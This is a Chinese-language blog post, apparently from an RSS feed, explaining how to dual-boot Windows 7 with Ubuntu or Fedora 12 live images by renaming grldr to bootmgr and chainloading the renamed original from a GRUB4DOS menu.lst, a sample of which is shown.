<p>方法B，一个聪明人会告诉你，Windows 7没有boot.ini没关系，我们自己加一个，在填一个grldr.mbr到C盘根目录，boot.ini加一个grldr.mbr=选项……这方法真的很聪明！开机重启后选Ubuntu就可以进入模拟的Ubuntu livecd了，然后，cd /回车， sudo umount -l isodevice回车，就可以用光盘livecd的方法安装了。</p>
<p>这个方法有两个缺陷，1，Windows 7的C 盘填加好boot.ini grldr grldr.mbr menu.lst后重启，只能选Fedora12（或Ubuntu ）选项，进入模拟的Fedora12（或Ubuntu ）的 livecd ，选Windows 7选项，不能进入Windows 7（本人是这样，不知其他人如何？） 2，安装好Ubuntu后，要重新加入Windows 7启动项。</p>
<p><strong>参考一下Windows 7和Windows XP的开机过程。</strong></p>
<p>怎么能解决方法 B 的缺陷呢？这是一个聪明的做法，但能不能有更好一点的方法呢？</p>
<p>本人终于想出了第三种方法，偷梁换柱法。并实验成功。即然win7开机默认bootmgr，那么我们何不把grldr改名为bootmgr ，让win7找到这个假的bootmgr ，这个假的bootmgr是直接找menu.lst的，那样不就可以通过编写menu.lst模拟引导Linux的 livecd了吗？</p>
<p>是的，可以。</p>
<p>可是，Windows 7怎么开机？Windows 7是要通过bootmgr开机的？</p>
<p>别急，听我细细道来，我们把win7的C盘原有的bootmgr改个名字如改成：bootmg8，这个改了名字的bootmgr依旧是默认找寻 Windows 7的，就象改了名的grldr 依旧是默认menu.lst一样。然后，我们在menu.lst内加上一段bootmg8启动项，就可以从bootmg8启动Windows 7，写到这，不知大家明白了吗？附上一个win7开机图，大家参考：</p>
<p>Windows 7下grub引导Fedora 12 liveCD的C盘menu.lst内容如下：</p>
<pre>
<li># （1） Windows  </li>
<li>title 【1】启动Windows 7  </li>
<li>find --set-root /bootmg8  </li>
<li>chainloader /bootmg8  </li>
<li>boot  </li>
<li>title 【2】启动Fedora 12 liveCD on /dev/sda7 （此处回车进入）  </li>
<li>root （hd0,6）  </li>
<li>kernel /LiveOS/vmlinuz0 root=/dev/sda7 ro liveimg rhgb  </li>
<li>initrd /LiveOS/initrd0.img  </li>
<li>title 【3】启动Ubuntu9.10 live on /dev/sda1（此处回车进入）  </li>
<li>root （hd0,0）  </li>
<li>kernel （hd0,0）/vmlinuz boot=casper noacpi iso-scan/filename=/karmic-desktop-amd64.iso ro quiet splash --  </li>
<li>label check live-install  </li>
<li>initrd （hd0,0）/initrd.lz </li>
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/windows7%e5%a6%82%e4%bd%95%e6%89%8d%e8%83%bd%e5%92%8cubuntu%e5%ae%9e%e7%8e%b0%e5%85%b1%e5%ad%98/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

